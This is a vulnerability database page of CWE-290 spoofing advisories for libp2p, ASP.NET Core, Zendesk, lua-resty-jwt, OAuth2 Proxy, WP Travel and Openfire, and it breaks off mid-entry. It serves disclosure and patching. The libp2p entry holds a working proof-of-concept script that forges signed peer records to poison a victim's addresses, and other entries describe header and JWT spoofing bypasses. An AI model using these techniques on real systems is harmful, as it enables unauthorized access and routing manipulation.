Common Weakness Enumeration

CWE-290

Allowed

Authentication Bypass by Spoofing

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.

1238 vulnerabilities reference this CWE, most recent first.

GHSA-VRF4-MX87-P53W

Vulnerability from github – Published: 2026-09-17 18:01 – Updated: 2026-09-17 18:01
VLAI
Summary
libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses
Details

Summary

@libp2p/peer-store accepts a signed PeerRecord whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable consumePeerRecord path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped PeerRecord.peerId. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.

Details

The vulnerable code is in packages/peer-store/src/index.ts:

  • RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options) verifies the envelope signature.
  • const peerId = peerIdFromCID(envelope.publicKey.toCID()) derives the envelope signer peer ID.
  • The optional expectedPeer check only compares expectedPeer to the envelope signer.
  • const peerRecord = PeerRecord.createFromProtobuf(envelope.payload) decodes peerRecord.peerId from attacker-controlled signed payload bytes.
  • this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true }) stores the addresses under the payload peer ID, not the verified signer peer ID.

The missing invariant is:

peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))

packages/protocol-identify/src/utils.ts already performs this check and can be used as the reference behavior:

if (!peerRecord.peerId.equals(envelopePeer)) {
  throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord')
}

The gossipsub Peer Exchange path reaches this code via packages/gossipsub/src/gossipsub.ts by calling:

peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })

This does not prevent the bug because peer is derived from the wire pi.peerID. An attacker can set pi.peerID to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped PeerRecord.

PoC

// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record'
import { persistentPeerStore } from '@libp2p/peer-store'
import { multiaddr } from '@multiformats/multiaddr'
import { MemoryDatastore } from 'datastore-core/memory'
import { TypedEventEmitter } from 'main-event'

const label = 'Certified peer-record address hijack'

async function main (): Promise<void> {
  const localKey = await generateKeyPair('Ed25519')
  const attackerKey = await generateKeyPair('Ed25519')
  const victimKey = await generateKeyPair('Ed25519')

  const attacker = peerIdFromPrivateKey(attackerKey)
  const victim = peerIdFromPrivateKey(victimKey)
  const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')

  const peerStore = persistentPeerStore({
    peerId: peerIdFromPrivateKey(localKey),
    datastore: new MemoryDatastore(),
    events: new TypedEventEmitter(),
    logger: defaultLogger()
  })

  // Payload claims victim, but the envelope is signed by attacker.
  const forgedRecord = new PeerRecord({
    peerId: victim,
    multiaddrs: [attackerAddr],
    seqNumber: 999999n
  })
  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)

  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.
  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {
    expectedPeer: attacker
  })

  assert.equal(accepted, true)

  const poisonedVictim = await peerStore.get(victim)
  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({
    multiaddr: multiaddr.toString(),
    isCertified
  })), [{
    multiaddr: attackerAddr.toString(),
    isCertified: true
  }])

  console.log(`${label} reproduced`)
  console.log(`attacker signer: ${attacker}`)
  console.log(`victim storage key: ${victim}`)
  console.log(`stored certified address: ${attackerAddr}`)
}

main().catch(err => {
  console.error(err)
  process.exitCode = 1
})

Expected output:

Certified peer-record address hijack reproduced
attacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj
victim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn
stored certified address: /ip4/203.0.113.66/tcp/4001

Impact

Attackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.

This does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@libp2p/peer-store"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "12.0.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T18:01:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`@libp2p/peer-store` accepts a signed `PeerRecord` whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable `consumePeerRecord` path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped `PeerRecord.peerId`. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.\n\n### Details\nThe vulnerable code is in `packages/peer-store/src/index.ts`:\n\n- `RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options)` verifies the envelope signature.\n- `const peerId = peerIdFromCID(envelope.publicKey.toCID())` derives the envelope signer peer ID.\n- The optional `expectedPeer` check only compares `expectedPeer` to the envelope signer.\n- `const peerRecord = PeerRecord.createFromProtobuf(envelope.payload)` decodes `peerRecord.peerId` from attacker-controlled signed payload bytes.\n- `this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true })` stores the addresses under the payload peer ID, not the verified signer peer ID.\n\nThe missing invariant is:\n\n```ts\npeerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))\n```\n\n`packages/protocol-identify/src/utils.ts` already performs this check and can be used as the reference behavior:\n\n```ts\nif (!peerRecord.peerId.equals(envelopePeer)) {\n  throw new InvalidMessageError(\u0027signing key does not match PeerId in the PeerRecord\u0027)\n}\n```\n\nThe gossipsub Peer Exchange path reaches this code via `packages/gossipsub/src/gossipsub.ts` by calling:\n\n```ts\npeerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })\n```\n\nThis does not prevent the bug because `peer` is derived from the wire `pi.peerID`. An attacker can set `pi.peerID` to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped `PeerRecord`.\n\n### PoC\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from \u0027node:assert\u0027\nimport { generateKeyPair } from \u0027@libp2p/crypto/keys\u0027\nimport { defaultLogger } from \u0027@libp2p/logger\u0027\nimport { peerIdFromPrivateKey } from \u0027@libp2p/peer-id\u0027\nimport { PeerRecord, RecordEnvelope } from \u0027@libp2p/peer-record\u0027\nimport { persistentPeerStore } from \u0027@libp2p/peer-store\u0027\nimport { multiaddr } from \u0027@multiformats/multiaddr\u0027\nimport { MemoryDatastore } from \u0027datastore-core/memory\u0027\nimport { TypedEventEmitter } from \u0027main-event\u0027\n\nconst label = \u0027Certified peer-record address hijack\u0027\n\nasync function main (): Promise\u003cvoid\u003e {\n  const localKey = await generateKeyPair(\u0027Ed25519\u0027)\n  const attackerKey = await generateKeyPair(\u0027Ed25519\u0027)\n  const victimKey = await generateKeyPair(\u0027Ed25519\u0027)\n\n  const attacker = peerIdFromPrivateKey(attackerKey)\n  const victim = peerIdFromPrivateKey(victimKey)\n  const attackerAddr = multiaddr(\u0027/ip4/203.0.113.66/tcp/4001\u0027)\n\n  const peerStore = persistentPeerStore({\n    peerId: peerIdFromPrivateKey(localKey),\n    datastore: new MemoryDatastore(),\n    events: new TypedEventEmitter(),\n    logger: defaultLogger()\n  })\n\n  // Payload claims victim, but the envelope is signed by attacker.\n  const forgedRecord = new PeerRecord({\n    peerId: victim,\n    multiaddrs: [attackerAddr],\n    seqNumber: 999999n\n  })\n  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)\n\n  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.\n  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {\n    expectedPeer: attacker\n  })\n\n  assert.equal(accepted, true)\n\n  const poisonedVictim = await peerStore.get(victim)\n  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) =\u003e ({\n    multiaddr: multiaddr.toString(),\n    isCertified\n  })), [{\n    multiaddr: attackerAddr.toString(),\n    isCertified: true\n  }])\n\n  console.log(`${label} reproduced`)\n  console.log(`attacker signer: ${attacker}`)\n  console.log(`victim storage key: ${victim}`)\n  console.log(`stored certified address: ${attackerAddr}`)\n}\n\nmain().catch(err =\u003e {\n  console.error(err)\n  process.exitCode = 1\n})\n```\n\nExpected output:\n\n```text\nCertified peer-record address hijack reproduced\nattacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj\nvictim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn\nstored certified address: /ip4/203.0.113.66/tcp/4001\n```\n\n### Impact\nAttackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.\n\nThis does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.",
  "id": "GHSA-vrf4-mx87-p53w",
  "modified": "2026-09-17T18:01:38Z",
  "published": "2026-09-17T18:01:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-vrf4-mx87-p53w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/pull/3570"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/commit/3bf5d395cbca1488eea6e87cd771e4613b661c30"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/js-libp2p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses"
}

GHSA-VRRP-6V32-2P8G

Vulnerability from github – Published: 2026-10-13 20:50 – Updated: 2026-10-19 19:19
VLAI
Summary
Microsoft Security Advisory CVE-2026-70179 - ASP.NET Core Elevation of Privilege Vulnerability
Details

Executive summary

Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Authentication.Negotiate. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.

ASP.NET Core Negotiate LDAP authentication can associate an authenticated identity with an unintended LDAP principal when the LDAP result is not verified against the Kerberos principal SID.

Announcement

Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/458

CVSS Details

  • Version: 3.1
  • Severity: High
  • Score: 7.5

  • Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Weakness: CWE-290 (Authentication Bypass by Spoofing)

Affected Platforms

  • Platforms: Windows, Linux, macOS when LDAP claim resolution is enabled
  • Architectures: All

Affected Packages

The vulnerability affects Microsoft .NET projects that use an affected package version listed below.

Package name Affected version Patched version
Microsoft.AspNetCore.Authentication.Negotiate >= 10.0.0, <= 10.0.12 10.0.13
Microsoft.AspNetCore.Authentication.Negotiate >= 8.0.0, <= 8.0.31 8.0.32
Microsoft.AspNetCore.Authentication.Negotiate >= 9.0.0, <= 9.0.20 9.0.21

Advisory FAQ

How do I know if I am affected?

If using a package listed in affected packages, you're exposed to the vulnerability.

How do I fix the issue?

  1. To fix the issue please install the latest version of .NET. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.
  2. If your application references the vulnerable package, update the package reference to the patched version. You can list the versions you have installed by running the dotnet --info command.

Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.

Additionally, if you've deployed self-contained applications targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.

Other Information

Reporting Security Issues

If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the MSRC Researcher Portal. Further information can be found in the MSRC Report an Issue FAQ.

Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.

Support

You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.

Disclaimer

The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

External Links

CVE-2026-70179

Acknowledgements

  • thegoldmandm

Revisions

V1.0 (10/13/2026): Advisory published.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.12"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.Authentication.Negotiate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.31"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.Authentication.Negotiate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.32"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.20"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.Authentication.Negotiate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-70179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-13T20:50:45Z",
    "nvd_published_at": "2026-10-13T19:19:32Z",
    "severity": "HIGH"
  },
  "details": "## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Authentication.Negotiate. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nASP.NET Core Negotiate LDAP authentication can associate an authenticated identity with an unintended LDAP principal when the LDAP result is not verified against the Kerberos principal SID.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/458\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5\n- **Vector:** `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n- **Weakness:** CWE-290 (Authentication Bypass by Spoofing)\n## Affected Platforms\n\n- **Platforms:** Windows, Linux, macOS when LDAP claim resolution is enabled\n- **Architectures:** All\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\n\nThe vulnerability affects Microsoft .NET projects that use an affected package version listed below.\n\nPackage name | Affected version | Patched version\n------------ | ---------------- | ---------------\n[Microsoft.AspNetCore.Authentication.Negotiate](https://www.nuget.org/packages/Microsoft.AspNetCore.Authentication.Negotiate) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.Authentication.Negotiate](https://www.nuget.org/packages/Microsoft.AspNetCore.Authentication.Negotiate) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.Authentication.Negotiate](https://www.nuget.org/packages/Microsoft.AspNetCore.Authentication.Negotiate) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf using a package listed in [affected packages](#affected-packages), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\n1. To fix the issue please install the latest version of .NET. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.\n2. If your application references the vulnerable package, update the package reference to the patched version. You can list the versions you have installed by running the `dotnet --info` command.\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you\u0027ve deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-70179](https://www.cve.org/CVERecord?id=CVE-2026-70179)\n\n### Acknowledgements\n\n- thegoldmandm\n\n### Revisions\n\nV1.0 (10/13/2026): Advisory published.",
  "id": "GHSA-vrrp-6v32-2p8g",
  "modified": "2026-10-19T19:19:33Z",
  "published": "2026-10-13T20:50:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/aspnetcore/security/advisories/GHSA-vrrp-6v32-2p8g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70179"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/announcements/issues/458"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dotnet/aspnetcore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/aspnetcore/discussions/69794"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70179"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Microsoft Security Advisory CVE-2026-70179 - ASP.NET Core Elevation of Privilege Vulnerability"
}

GHSA-VV5G-XQ9C-77W7

Vulnerability from github – Published: 2024-10-12 15:30 – Updated: 2024-10-16 21:31
VLAI
Details

Zendesk before 2024-07-02 allows remote attackers to read ticket history via e-mail spoofing, because Cc fields are extracted from incoming e-mail messages and used to grant additional authorization for ticket viewing, the mechanism for detecting spoofed e-mail messages is insufficient, and the support e-mail addresses associated with individual tickets are predictable.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-49193"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-12T14:15:02Z",
    "severity": "HIGH"
  },
  "details": "Zendesk before 2024-07-02 allows remote attackers to read ticket history via e-mail spoofing, because Cc fields are extracted from incoming e-mail messages and used to grant additional authorization for ticket viewing, the mechanism for detecting spoofed e-mail messages is insufficient, and the support e-mail addresses associated with individual tickets are predictable.",
  "id": "GHSA-vv5g-xq9c-77w7",
  "modified": "2024-10-16T21:31:07Z",
  "published": "2024-10-12T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49193"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/hackermondev/68ec8ed145fcee49d2f5e2b9d2cf2e52"
    },
    {
      "type": "WEB",
      "url": "https://news.ycombinator.com/item?id=41818459"
    },
    {
      "type": "WEB",
      "url": "https://x.com/hackermondev/status/1844877950698537323"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VVPG-5WFC-53JJ

Vulnerability from github – Published: 2024-04-24 06:30 – Updated: 2024-07-03 18:36
VLAI
Details

cdbattags lua-resty-jwt 0.2.3 allows attackers to bypass all JWT-parsing signature checks by crafting a JWT with an enc header with the value A256GCM.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-33531"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-24T06:15:14Z",
    "severity": "HIGH"
  },
  "details": "cdbattags lua-resty-jwt 0.2.3 allows attackers to bypass all JWT-parsing signature checks by crafting a JWT with an enc header with the value A256GCM.",
  "id": "GHSA-vvpg-5wfc-53jj",
  "modified": "2024-07-03T18:36:46Z",
  "published": "2024-04-24T06:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33531"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cdbattags/lua-resty-jwt/issues/61"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cdbattags/lua-resty-jwt/commit/d1558e2afefe868fea1e7e9a4b04ea94ab678a85"
    },
    {
      "type": "WEB",
      "url": "https://insinuator.net/2023/10/lua-resty-jwt-authentication-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VVQV-7VRF-88VH

Vulnerability from github – Published: 2026-08-24 18:31 – Updated: 2026-08-24 18:31
VLAI
Details

OAuth2 Proxy honours a client-supplied X-Forwarded-Uri header when deciding whether a request may skip authentication, because the guard added for CVE-2026-40575 is inert in the default reverse-proxy configuration. GetRequestURI in pkg/requests/util/util.go prefers that header over the real request URI whenever CanTrustForwardedHeaders returns true, and isAllowedPath in oauthproxy.go matches the skip_auth_routes and skip_auth_regex allow list against the resulting path. CanTrustForwardedHeaders in pkg/apis/middleware/scope.go grants that trust when the caller's address is in the trusted proxy set, and buildTrustedProxyNetSet falls back to defaultTrustedProxyIPs, which is 0.0.0.0/0 and ::/0, whenever reverse proxy mode is enabled without trusted_proxy_ip configured. Every client is therefore treated as a trusted proxy. An unauthenticated attacker can request a protected upstream path while setting X-Forwarded-Uri to a value matching an allow-listed route, so the skip-auth decision is made against the spoofed value while the upstream receives the protected path unchanged.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-76835"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-24T18:17:21Z",
    "severity": "CRITICAL"
  },
  "details": "OAuth2 Proxy honours a client-supplied X-Forwarded-Uri header when deciding whether a request may skip authentication, because the guard added for CVE-2026-40575 is inert in the default reverse-proxy configuration. GetRequestURI in pkg/requests/util/util.go prefers that header over the real request URI whenever CanTrustForwardedHeaders returns true, and isAllowedPath in oauthproxy.go matches the skip_auth_routes and skip_auth_regex allow list against the resulting path. CanTrustForwardedHeaders in pkg/apis/middleware/scope.go grants that trust when the caller\u0027s address is in the trusted proxy set, and buildTrustedProxyNetSet falls back to defaultTrustedProxyIPs, which is 0.0.0.0/0 and ::/0, whenever reverse proxy mode is enabled without trusted_proxy_ip configured. Every client is therefore treated as a trusted proxy. An unauthenticated attacker can request a protected upstream path while setting X-Forwarded-Uri to a value matching an allow-listed route, so the skip-auth decision is made against the spoofed value while the upstream receives the protected path unchanged.",
  "id": "GHSA-vvqv-7vrf-88vh",
  "modified": "2026-08-24T18:31:58Z",
  "published": "2026-08-24T18:31:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oauth2-proxy/oauth2-proxy/security/advisories/GHSA-7x63-xv5r-3p2x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76835"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oauth2-proxy/oauth2-proxy/issues/3506"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oauth2-proxy/oauth2-proxy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oauth2-proxy/oauth2-proxy/blob/v7.15.4/pkg/apis/middleware/scope.go"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/oauth2-proxy-through-authentication-bypass-via-x-forwarded-uri-under-the-default-trusted-proxy-set"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VX7Q-RHXW-6X3X

Vulnerability from github – Published: 2026-07-30 06:32 – Updated: 2026-07-30 18:31
VLAI
Details

The WP Travel WordPress plugin before 11.8.1 does not verify PayPal Instant Payment Notifications through the PayPal post-back handshake before marking a booking paid, allowing unauthenticated attackers to forge a notification that flips an arbitrary pending booking to a paid and booked state at an attacker-chosen amount.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-13143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T06:24:58Z",
    "severity": "MODERATE"
  },
  "details": "The WP Travel  WordPress plugin before 11.8.1 does not verify PayPal Instant Payment Notifications through the PayPal post-back handshake before marking a booking paid, allowing unauthenticated attackers to forge a notification that flips an arbitrary pending booking to a paid and booked state at an attacker-chosen amount.",
  "id": "GHSA-vx7q-rhxw-6x3x",
  "modified": "2026-07-30T18:31:33Z",
  "published": "2026-07-30T06:32:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13143"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/21bc82e3-4568-4e01-8704-88a242743402"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W252-645G-87MP

Vulnerability from github – Published: 2025-09-16 01:54 – Updated: 2025-09-16 01:54
VLAI
Summary
Openfire has potential identity spoofing issue via unsafe CN parsing
Details

Summary

Identity spoofing in X.509 client certificate authentication in Openfire allows internal attackers to impersonate other users via crafted certificate subject attributes, due to regex-based extraction of CN from an unescaped, provider-dependent DN string.

Analysis

